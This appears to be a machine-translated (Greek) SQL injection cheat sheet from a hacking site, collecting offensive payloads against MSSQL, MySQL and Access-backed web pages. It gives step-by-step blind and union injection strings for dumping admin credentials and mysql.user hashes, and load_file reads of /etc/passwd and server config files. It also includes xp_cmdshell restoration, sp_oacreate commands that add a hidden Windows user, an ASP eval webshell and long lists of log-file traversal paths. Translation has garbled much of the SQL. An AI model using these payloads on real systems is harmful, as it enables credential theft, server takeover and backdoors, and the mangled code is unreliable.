Ερωτήματα μεταξύ βάσεων δεδομένων MSSQL (βρωμερό φαγητό!) Σκούρο)
Αποσπάστε και την τελευταία σταγόνα MS SQL
Οι αναφορές προτάσεων SQL και τα αντικείμενα συνόλου εγγραφών εξηγούνται λεπτομερώς
Πληροφορίες σχετικά με τις αποθηκευμένες διαδικασίες στον SQL Server
Δημιουργήστε ένα webshell με mssql backup
SQL_Injection προηγμένες εφαρμογές
Cross-site SQL injection (laokai)
Περίεργη έγχυση SQL (AMANL)
Προηγμένη έγχυση SQL σε εφαρμογές SQL Server
Πώς να χρησιμοποιήσετε την ένεση SQL για να διασχίσετε καταλόγους
Αναλυτική παρουσίαση των τεχνικών SQL Injection (Μεταφραστής: demonalex)
Ορισμένες επιθέσεις σε βάσεις δεδομένων SQL
Τεχνική επίθεσης SQL Injection (JSW)
SQL_Injection Προηγμένες Εφαρμογές (APACHY)
Ασυνήθιστες μέθοδοι SQL Injection (Βετεράνος Guilin)
Δημιουργία αντιγράφων ασφαλείας κελύφους
Μιλήστε για τη δομή δήλωσης έγχυσης php+mysql (Heyhehehe·≯Super· Hei)
Προηγμένη έγχυση SQL με MySQL (άγγελος)
L'injection (My)SQL μέσω PHP
Γλώσσα Oracle SQL
Εγκυκλοπαίδεια χειροκίνητης έγχυσης SQL
Τα προαπαιτούμενα απαιτούν εργαλεία: SQL Query Analyzer και SqlExec Sunx Version ============================================================================================== 1. Προσδιορίστε εάν υπάρχει σημείο έγχυσης ; και 1=1 και 1=2 2. Μαντέψτε ότι το όνομα του πίνακα δεν είναι τίποτα άλλο από διαχειριστής, διαχειριστής, χρήστης, κωδικός πρόσβασης χρήστη κ.λπ.: και 0<>(επιλέξτε count(*) από *) και 0<>(επιλέξτε count(*) από τον διαχειριστή) — Προσδιορίστε εάν υπάρχει ο πίνακας διαχείρισης 3. Μαντέψτε τον αριθμό των λογαριασμών Εάν συναντήσετε 0< επιστρέψτε στη σωστή σελίδα 1< επιστρέψτε τη σελίδα σφάλματος για να υποδείξετε ότι ο αριθμός των λογαριασμών είναι 1 και 0<(επιλέξτε count(*) από διαχειριστή) και 1<(επιλέξτε count(*) από τον διαχειριστή) 4. Μαντέψτε το όνομα του πεδίου Προσθέστε το όνομα του πεδίου που σκεφτόμαστε στις αγκύλες len( ). και 1=(επιλέξτε count(*) από admin όπου len(*)>0)– και 1=(επιλέξτε count(*) από admin όπου len(όνομα ονόματος πεδίου χρήστη)>0) και 1=(επιλέξτε count(*) από admin όπου len(_blank>όνομα πεδίου κωδικού πρόσβασης)>0) 5. Μαντέψτε το μήκος κάθε πεδίου Μαντέψτε ότι το μήκος είναι να μετατρέψετε το >0 μέχρι να επιστραφεί η σωστή σελίδα και 1=(επιλέξτε count(*) από admin όπου len(*)>0) και 1=(επιλέξτε count(*) από τον διαχειριστή όπου σφάλμα len(όνομα)>6) και 1=(επιλέξτε count(*) από admin όπου len(όνομα)>5) Το σωστό μήκος είναι 6 και 1=(επιλέξτε count(*) από admin όπου len(όνομα)=6) είναι σωστό και 1=(επιλέξτε count(*) από τον διαχειριστή όπου len(password)>11) είναι σωστό και 1=(επιλέξτε count(*) από τον διαχειριστή όπου len(password)>12) το μήκος σφάλματος είναι 12 και 1=(επιλέξτε count(*) από το admin όπου len(password)=12) είναι σωστό 6. Μαντέψτε τους χαρακτήρες και 1=(επιλέξτε count(*) από admin where left(name,1)=a) — Μαντέψτε το πρώτο ψηφίο του λογαριασμού του χρήστη και 1=(επιλέξτε count(*) από τον διαχειριστή όπου αριστερά(όνομα,2)=ab)—Μαντέψτε το δεύτερο ψηφίο του λογαριασμού του χρήστη Απλώς προσθέστε έναν χαρακτήρα τη φορά για να μαντέψετε, μαντέψτε αρκετά ψηφία όσα μόλις μαντέψατε και θα βγει ο αριθμός λογαριασμού (1) Μαντέψτε το όνομα του πίνακα
Προτάσεις που χρησιμοποιούνται: και υπάρχει (επιλέξτε * από το όνομα του πίνακα)
Για παράδειγμα: και υπάρχει (επιλέξτε * από διαχειριστή)
Εάν η σελίδα αντηχεί σωστά, σημαίνει ότι το όνομα του πίνακα που μαντέψαμε εδώ είναι σωστό και εάν η σελίδα είναι λάθος, τότε σημαίνει ότι το όνομα του πίνακα που γράψαμε εδώ είναι λάθος
και, στη συνέχεια, αλλάξτε το όνομα του πίνακα και συνεχίστε να μαντεύετε μέχρι να μαντέψετε.
Γενικά, τα ονόματα πινάκων που χρησιμοποιούνται συνήθως περιλαμβάνουν admin, manage, user ή put it in the tool run (2) Μαντέψτε το πεδίο
Προτάσεις που χρησιμοποιούνται: και υπάρχει (επιλέξτε όνομα πεδίου από το όνομα πίνακα)
Για παράδειγμα: και υπάρχει (επιλέξτε όνομα χρήστη από τον διαχειριστή)
Εδώ, υποθέτοντας ότι ο πίνακας διαχείρισης είναι ο πίνακας που μάντεψα σωστά παραπάνω, τότε θέλω να προσδιορίσω αν υπάρχει το πεδίο ονόματος χρήστη, πρέπει να χρησιμοποιήσω αυτήν τη δήλωση, εάν η σελίδα
Εάν η ηχώ του προσώπου είναι σωστή, σημαίνει ότι το όνομα πεδίου που μαντέψαμε εδώ είναι σωστό και εάν η σελίδα είναι λάθος, τότε σημαίνει ότι το όνομα πεδίου που γράψαμε εδώ είναι λάθος
και, στη συνέχεια, αλλάξτε το όνομα του πεδίου και συνεχίστε να μαντεύετε μέχρι να μαντέψετε.
Γενικά, τα κοινά ονόματα πεδίων περιλαμβάνουν όνομα χρήστη, κωδικό πρόσβασης, χρήστη, πάσο, όνομα, πάσο, pwd, usr, psd και άλλα πεδία (3)παραγγελία από
Η ταξινόμηση κατά είναι να λάβετε το άθροισμα του αριθμού των πεδίων σε αυτήν τη σελίδα, προετοιμάζοντας το επόμενο κοινό ερώτημα (4) Επιλογή ένωσης
1. Εάν υποστηρίζετε κοινό ερώτημα, βρείτε την επιλογή http://www.xxx.com/product_show.asp?id=1 bit οθόνης και 1 = 2
1,2,3,4,5,6,7,8,9,10,11 Ας υποθέσουμε ότι τα bit οθόνης είναι 5,6. Στη συνέχεια, χρειάζεται μόνο να αντικαταστήσουμε τα ονόματα πεδίων που αντιστοιχούν στο όνομα χρήστη και τον κωδικό πρόσβασης του διαχειριστή με τη θέση του bit εμφάνισης εδώ
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 από τον διαχειριστή βρήκε τη σύνδεση στο παρασκήνιο 2. Εάν το κοινό ερώτημα δεν υποστηρίζεται Το όνομα χρήστη και ο κωδικός πρόσβασης του διαχειριστή δεν μπορούν να ληφθούν χωρίς κοινό ερώτημα - χρησιμοποιώντας κατά λέξη αποκωδικοποίηση Ascii Δύο Χρησιμοποιήστε τη σειρά με για να κρίνετε τον αριθμό των bit στον πίνακα και αν δεν λειτουργεί, χρησιμοποιήστε την επιλογή ένωσης για να τα τακτοποιήσετε ένα προς ένα, εδώ υποθέτουμε 8 bit Τρεις Χρήση κοινού ερωτήματος για τον προσδιορισμό των bit εμφάνισης Τέσσερα Χρησιμοποιήστε το bit οθόνης για να βρείτε το όνομα της βάσης δεδομένων, την έκδοση της βάσης δεδομένων, 5.0 ή νεότερη έκδοση που μπορεί να εγχυθεί
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,χρήστης(),0x5c, έκδοση()),8 Πέντε Με το όνομα της βάσης δεδομένων, μπορείτε να αρχίσετε να λαμβάνετε το σχήμα ονόματος πίνακα = ακολουθούμενο από την τιμή HEX του ονόματος της βάσης δεδομένων και να μαντέψετε το όνομα του πίνακα
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +από+information_schema.στήλες+πού+ table_schema=0x666C6965725F6462617365 Έξι Το όνομα του πίνακα που αναλύεται καθορίζει την τιμή HEX του ονόματος πίνακα του διαχειριστή = όνομα πίνακα και μαντεύει τα πεδία στον πίνακα http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ΔΙΑΚΡΙΤΌ
+column_name),8+ από+information_schema.στήλες+όπου+table_name=0x7075625F7765626D6173746572 Επτά Αφού λάβουμε τα πεδία στον πίνακα διαχειριστή, ας λάβουμε τα περιεχόμενα των πεδίων http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ΔΙΑΚΡΙΤΌ
+όνομα χρήστη, 0x5f,userpwd),8+από+pub_webmaster Οχτώ Το εργαλείο σαρώνει το φόντο: Συνδεθείτε για να ανεβάσετε το Trojan αφού το βρείτε και εάν δεν μπορείτε να βρείτε το robots.txt αρχείο στο οποίο μπορείτε να αποκτήσετε πρόσβαση Εννέα Εάν δεν μπορείτε να βρείτε το φόντο, ο κωδικός πρόσβασης του διαχειριστή της MYSQL θα εκτεθεί http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(χρήστης, κωδικός πρόσβασης), 8+from+mysql.user Δέκα Αποκτήστε τυχαία πρόσβαση σε μια διαδρομή και τα σχόλια είναι η προεπιλεγμένη σελίδα 404 του IIS6, υποδεικνύοντας ότι ο διακομιστής τοποθεσίας Web είναι: Windows+IIS6+php+MySql περιβάλλον c:\\windows\\system32\\inetsrv\\MetaBase.xml Αυτή η διαδρομή μπορεί να λάβει τις πληροφορίες διαμόρφωσης του ιστότοπου. Κατασκευάστε δηλώσεις http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Έντεκα Αναλύστε τον κώδικα και βρείτε τη διεύθυνση φόντου Στο πρώτο βήμα, πρέπει να πάρουμε το μήκος των πεδίων στον πίνακα Δηλώσεις που χρησιμοποιήθηκαν: και (επιλέξτε top 1 len (όνομα πεδίου) από το όνομα πίνακα)>0 Σαν τι: και (επιλέξτε το top 1 len(admin_name) από το admin)>0 Η σελίδα εμφανίζεται κανονικά, το μήκος του πεδίου admin_name είναι μεγαλύτερο από 0 και θα υποβάλω:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Η σελίδα εμφανίζει ένα σφάλμα που δηλώνει ότι το πεδίο είναι μεταξύ 0 και 10 και το μήκος είναι 5 χρησιμοποιώντας τη διχοτόμηση Χρησιμοποιώντας την ίδια μέθοδο για να προσδιορίσω το μήκος του πεδίου για τον κωδικό πρόσβασης του διαχειριστή, παίρνω μήκος 16 Βήμα 2 Τώρα ας προχωρήσουμε στο δεύτερο βήμα, ας πάρουμε έναν συγκεκριμένο χαρακτήρα στο πεδίο και ας πάρουμε τον κωδικό ASCII του χαρακτήρα, που χρησιμοποιείται
Δήλωση: και (επιλέξτε top 1 asc(mid(όνομα πεδίου, N,1)) από το όνομα πίνακα)>0 Επιτρέψτε μου να εξετάσω αυτήν την πρόταση ξεχωριστά, πρώτα, την πιο εσωτερική μεσαία(όνομα χρήστη, 1,1) συνάρτηση, που είναι ο πρώτος χαρακτήρας του πεδίου admin_name, N
υποδεικνύει ότι οι πρώτοι χαρακτήρες πρέπει να υποκλαπούν, Στη συνέχεια, η εξωτερική συνάρτηση asc(), η οποία μετατρέπει τους χαρακτήρες που παρεμποδίζονται από τη μεσαία συνάρτηση σε κώδικα ASCII, το πιο εξωτερικό top 1, αντιπροσωπεύει το πεδίο επιστροφής της πρώτης θέσης
Ένας δίσκος, λοιπόν, Το ">0" στο τέλος είναι να συγκρίνετε τον κωδικό ASCII που έχει μετατραπεί με αυτόν τον αριθμό και, τέλος, να λάβετε την υποκλοπή αλλάζοντας συνεχώς την τελευταία τιμή
Μάθετε το συγκεκριμένο αυτού του χαρακτήρα Κωδικός ASCII Υποβολή:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Η σελίδα εμφανίζεται κανονικά, υποδεικνύοντας ότι ο κωδικός ASCII αυτού του χαρακτήρα είναι μεγαλύτερος από 30. Υποβολή:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Η σελίδα εμφανίζεται κανονικά, υποδεικνύοντας ότι ο κωδικός ASCII αυτού του χαρακτήρα είναι μεγαλύτερος από 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Ο κωδικός ASCII στον οποίο κατέληξα για αυτόν τον χαρακτήρα είναι 97 Συγκρίνετε τον πίνακα ASCII: Μπορεί να συναχθεί το συμπέρασμα ότι ο πρώτος χαρακτήρας είναι "α". Στη συνέχεια θα κρίνω τον κώδικα ASCII του δεύτερου χαρακτήρα.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Η σελίδα εμφανίζεται κανονικά, υποδεικνύοντας ότι ο κωδικός ASCII του χαρακτήρα είναι μεγαλύτερος από 90 και η τελευταία τιμή αλλάζει πάντα Η ίδια μέθοδος απέδωσε τον κωδικό πρόσβασης του διαχειριστή και το αποτέλεσμα που πήρα ήταν:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 και 1=(επιλέξτε το top 1 count(*) από το Admin όπου Asc(mid(pass,5,1))=51) – Αυτή η δήλωση ερωτήματος μπορεί να μαντέψει τον Κινέζο χρήστη και _blank> κωδικό πρόσβασης. Απλώς αντικαταστήστε τους παρακάτω αριθμούς με τον κινεζικό κωδικό ASSIC
Μετατροπή σε χαρακτήρες.
ομαδοποιήστε κατά users.id που έχει 1=1–www.myhack58.com Ομαδοποίηση κατά users.id, users.username, users.password, users.privs με 1=1– ; εισαγωγή στις τιμές των χρηστών ( 666, επιτιθέμενος, foobar, 0xffff )–
ΈΝΩΣΗ Επιλέξτε TOP 1 COLUMN_blank>_NAME ΑΠΌ INFORMATION_blank>_SCHEMA. ΣΤΗΛΕΣ Όπου
TABLE_blank>_NAME=logintable- ΈΝΩΣΗ Επιλέξτε TOP 1 COLUMN_blank>_NAME ΑΠΌ INFORMATION_blank>_SCHEMA. ΣΤΗΛΕΣ Όπου
TABLE_blank>_NAME=logintable Όπου COLUMN_blank>_NAME NOT IN (login_blank>_id)- ΈΝΩΣΗ Επιλέξτε TOP 1 COLUMN_blank>_NAME ΑΠΌ INFORMATION_blank>_SCHEMA. ΣΤΗΛΕΣ Όπου
TABLE_blank>_NAME=logintable Όπου COLUMN_blank>_NAME ΟΧΙ ΜΕΣΑ
(login_blank>_id,login_blank>_name)- ΕΝΩΣΗ Επιλέξτε TOP 1 login_blank>_name FROM logintable- ΕΝΩΣΗ Επιλέξτε TOP 1 κωδικό πρόσβασης ΑΠΟ δυνατότητα σύνδεσης όπου login_blank>_name=Rahul– Κοιτάξτε το patch που έπαιξε ο διακομιστής _blank> = λάθος SP4 patch μαύρη μπάρα δίχτυ ασφαλείας και 1=(επιλέξτε @@VERSION)–
Κοιτάξτε τα δικαιώματα του λογαριασμού σύνδεσης βάσης δεδομένων _blank> και επιστρέφει κανονικά, αποδεικνύοντας ότι είναι το δικαίωμα sysadmin του ρόλου διακομιστή _blank>. και 1=(Επιλέξτε IS_blank>_SRVROLEMEMBER(sysadmin))–
Προσδιορίστε τον λογαριασμό βάσης δεδομένων _blank> συνδεδεμένος. (Χρησιμοποιήστε λογαριασμό SA για να συνδεθείτε και να επιστρέψετε κανονικό = αποδείξτε ότι ο συνδεδεμένος λογαριασμός είναι SA) και sa=(Επιλέξτε System_blank>_user)– και user_blank>_name()=dbo– και 0<>(επιλέξτε user_blank>_name()–
Δείτε αν xp_blank>_cmdshell διαγράφει και 1=(Επιλογή count(*) FROM master.dbo.sysobjects Όπου xtype = X ΚΑΙ όνομα = xp_blank>_cmdshell)
–
xp_blank>_cmdshell διαγράφεται, αποκαθίσταται και υποστηρίζει απόλυτη ανάκτηση διαδρομής ; ΣΤΕΛΕΧΟΣ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== άδεια DB εκτίθεται στον κώδικα φυσικής διαδρομής του ιστότοπου
========================================================================== 1, τραπέζι πτώσης [jm_tmp]; δημιουργία πίνακα [jm_tmp](τιμή navrchar(4000) null,δεδομένα nvarchar(4000)
null) -- Δημιουργία πίνακα
2, διαγραφή [jm_tmp]; Εισαγάγετε [jm_tmp] exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Εισαγωγή του καταλόγου τοποθεσίας στο πεδίο πίνακα
3, και (επιλέξτε το κορυφαίο 1 cast([δεδομένα] ως nvarchar(4000) char(124) από [jm_tmp] σειρά κατά [δεδομένα]
desc)=0 '//Εκτεθειμένο πεδίο
4. Drop Table [jm_tmp] -- Διαγράψτε αυτόν τον πίνακα. για να πάρει το κέλυφος
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Άλλες διαδρομές σταθμού ======================load_file() Ευαίσθητες πληροφορίες που χρησιμοποιούνται συνήθως =========================================== 1, αντικατάσταση (load_file(0×2F6574632F706173737764), 0×3c, 0×20)
2, αντικατάσταση(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Τα δύο παραπάνω είναι για να δείτε ένα αρχείο PHP που εμφανίζει πλήρως τον κώδικα. Υπάρχουν φορές που ορισμένοι χαρακτήρες δεν αντικαθίστανται, όπως "<" αντί για "κενό" που επιστρέφει
Ιστοσελίδα. Και ο κωδικός δεν μπορεί να προβληθεί.
3. load_file(char(47)) μπορεί να παραθέσει τον ριζικό κατάλογο των συστημάτων FreeBSD και Sunos
4. Προβάλετε το αρχείο διαμόρφωσης εικονικού κεντρικού υπολογιστή linux APACHE στο /etc/httpd/conf/httpd.conf ή /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf ή C:\apache\conf\httpd.conf για προβολή των WINDOWS
Αρχείο Apache συστήματος
6. c:/Resin-3.0.14/conf/resin.conf Δείτε τις πληροφορίες διαμόρφωσης του αρχείου ρητίνης του ιστότοπου που αναπτύχθηκε από την jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf για να δείτε τον εικονικό κεντρικό υπολογιστή JSP που έχει διαμορφωθεί στο σύστημα Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9, C: \ Αρχεία προγράμματος \ mysql \ my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml Προβάλετε το αρχείο διαμόρφωσης εικονικού κεντρικού υπολογιστή των υπηρεσιών IIS
12. /usr/local/resin-3.0.22/conf/resin.conf για να δείτε το αρχείο διαμόρφωσης RESIN για την έκδοση 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Το ίδιο με το παραπάνω
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Εικονικός κεντρικός υπολογιστής APASHE
15. Το /etc/sysconfig/iptables εξαρτάται από την πολιτική τείχους προστασίας
16. /usr/local/app/php5 b/php.ini ισοδύναμες ρυθμίσεις PHP
17. /etc/my.cnf Αρχείο διαμόρφωσης MYSQL
18. Έκδοση συστήματος /etc/redhat-release της Red Hat
19 、C:\mysql\data\mysql\user. Το MYD υπάρχει στον κωδικό πρόσβασης χρήστη στο σύστημα MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 για προβολή IP.
21. /usr/local/app/php5 b/php.ini //PHP σχετικές ρυθμίσεις
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // Ρυθμίσεις εικονικού ιστότοπου
23、γ:\Αρχεία προγράμματος\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、γ:\παράθυρα\my.ini
25. Το /etc/issue εμφανίζει τις πληροφορίες διανομής του πυρήνα Linux
26, / κλπ / ftpuser
27. Ελέγξτε το αρχείο καταγραφής λειτουργίας στο LINUX user.bash_history ή .bash_profile
28, / κλπ / ssh / ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/αρχεία καταγραφής/error.log .. /apache/αρχεία καταγραφής/access.log .. /.. /apache/αρχεία καταγραφής/error.log .. /.. /apache/αρχεία καταγραφής/access.log .. /.. /.. /apache/αρχεία καταγραφής/error.log .. /.. /.. /apache/αρχεία καταγραφής/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/αρχεία καταγραφής/error.log .. /apache/αρχεία καταγραφής/access.log .. /.. /apache/αρχεία καταγραφής/error.log .. /.. /apache/αρχεία καταγραφής/access.log .. /.. /.. /apache/αρχεία καταγραφής/error.log .. /.. /.. /apache/αρχεία καταγραφής/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Πειραματιστείτε μόνοι σας με το αντίστροφο PING ; χρήση κύριου? δηλώστε @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s έξω; εκτελεστικό
sp_blank>_oamethod @s,"εκτέλεση",NULL,"cmd.exe /c ping 192.168.0.1"; –
Προσθήκη λογαριασμού ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c καθαρός χρήστης jiaoniang$ 1866574 /add–
Δημιουργήστε έναν ηλεκτρονικό δίσκο εικονικού καταλόγου: ; δηλώστε @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o έξω exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "προεπιλεγμένος ιστότοπος" -v "e","e:\"–
Χαρακτηριστικά πρόσβασης: (με εγγραφή σε webshell) δηλώστε @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o έξω exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Ειδικό _blank> κόλπο για το σπάσιμο της βιβλιοθήκης: :%5c=\ ή τροποποιήστε το %5 με / και \ για να δεσμευτείτε και 0<>(επιλέξτε τις 1 κορυφαίες διαδρομές από το newtable)–
Λάβετε το όνομα της βάσης δεδομένων (από το 1 έως το 5 είναι τα αναγνωριστικά του συστήματος και μπορείτε να τα κρίνετε πάνω από 6) και 1=(επιλέξτε όνομα από βάσεις δεδομένων master.dbo.sys όπου dbid=7)– και 0<>(επιλέξτε count(*) από τις βάσεις δεδομένων master.dbo.sys όπου name>1 και dbid=6) Υποβολή dbid με τη σειρά = 7,8,9.... Λήψη περισσότερων _blank> ονομάτων βάσεων δεδομένων
και το 0<>(επιλέξτε το κορυφαίο 1 όνομα από το bbs.dbo.sysobjects όπου xtype=U) ξεσπούν σε έναν πίνακα υποθέτοντας admin και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το bbs.dbo.sysobjects όπου xtype=u και το όνομα δεν είναι στο (Διαχειριστής)).
Άλλοι πίνακες. και 0<>(επιλέξτε count(*) από bbs.dbo.sysobjects όπου xtype=u και name=admin και uid>(str(id))) Η αριθμητική τιμή του UID θεωρείται ότι είναι 18779569 uid=id και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το bbs.dbo.syscolumns όπου id=18779569) λάβετε ένα πεδίο admin, false
Ρύθμιση σε user_blank>_id και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το bbs.dbo.syscolumns όπου id=18779569 και το όνομα όχι στο (id,...)) για να εκθέσετε άλλα πεδία και 0<(επιλέξτε user_blank>_id από το BBS.dbo.admin όπου όνομα χρήστη>1) για να λάβετε το όνομα χρήστη Με τη σειρά σας, μπορείτε να λάβετε _blank> κωδικό πρόσβασης。。。。。 Ας υποθέσουμε ότι υπάρχουν πεδία όπως user_blank>_id όνομα χρήστη, κωδικός πρόσβασης κ.λπ
και 0<>(επιλέξτε count(*) από τις βάσεις δεδομένων master.dbo.sys όπου name>1 και dbid=6) και 0<>(επιλέξτε το κορυφαίο όνομα 1 από το bbs.dbo.sysobjects όπου xtype=U) για να λάβετε το όνομα του πίνακα και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το bbs.dbo.sysobjects όπου xtype=u και το όνομα not in(Address)) και 0<>(επιλέξτε count(*) από bbs.dbo.sysobjects όπου xtype=u και name=admin και uid>(str(id)))
Προσδιορισμός της τιμής id και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το BBS.dbo.syscolumns όπου id=773577794) όλα τα πεδία
?id=-1 ένωση επιλέξτε 1,2,3,4,5,6,7,8,9,10,11,12,13,* από τον διαχειριστή ?id=-1 Ένωση Επιλέξτε 1,2,3,4,5,6,7,8,*,9,10,11,12,13 από τον διαχειριστή (Ένωση, η πρόσβαση είναι επίσης εύκολη στη χρήση)
Λήψη της διαδρομής WEB ; Δημιουργία πίνακα [DBO]. [ανταλλαγή] ([swappass][char](255)); – και (επιλέξτε το κορυφαίο 1 swappass από το swap)=1– ; Δημιουργία TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Δηλώστε @test varchar(20) exec
κύριος.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=ΣΥΣΤΗΜΑ
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, τιμές=@test
OUTPUT εισαγωγή σε διαδρομές (διαδρομή) τιμές (@test)– ; χρησιμοποιήστε ku1; – ; δημιουργία πίνακα cmd (εικόνα str). – Δημιουργήστε έναν πίνακα cmd του τύπου εικόνας 1. Ο τρόπος για να αφαιρέσετε τη διαδικασία επέκτασης xp_cmdshell είναι να χρησιμοποιήσετε την ακόλουθη δήλωση:
αν υπάρχει (επιλέξτε * από dbo.sysobjects όπου id=object_id(N'[dbo].[ xpcmdshell]') και
OBJECTPROPERTY(id;N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]»
2. Ο τρόπος για να προσθέσετε xp_cmdshell διαδικασία επέκτασης είναι να χρησιμοποιήσετε την ακόλουθη δήλωση:
(1)Αναλυτής ερωτημάτων SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Αρχικά, συμπληρώστε το %s στην επιλογή Μορφοποίηση της έκδοσης SqlExec Sunx και εισαγάγετε την στην επιλογή CMD
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Αφαίρεση
sp_dropextendedproc «xp_cmdshell»
(3)MSSQL2000
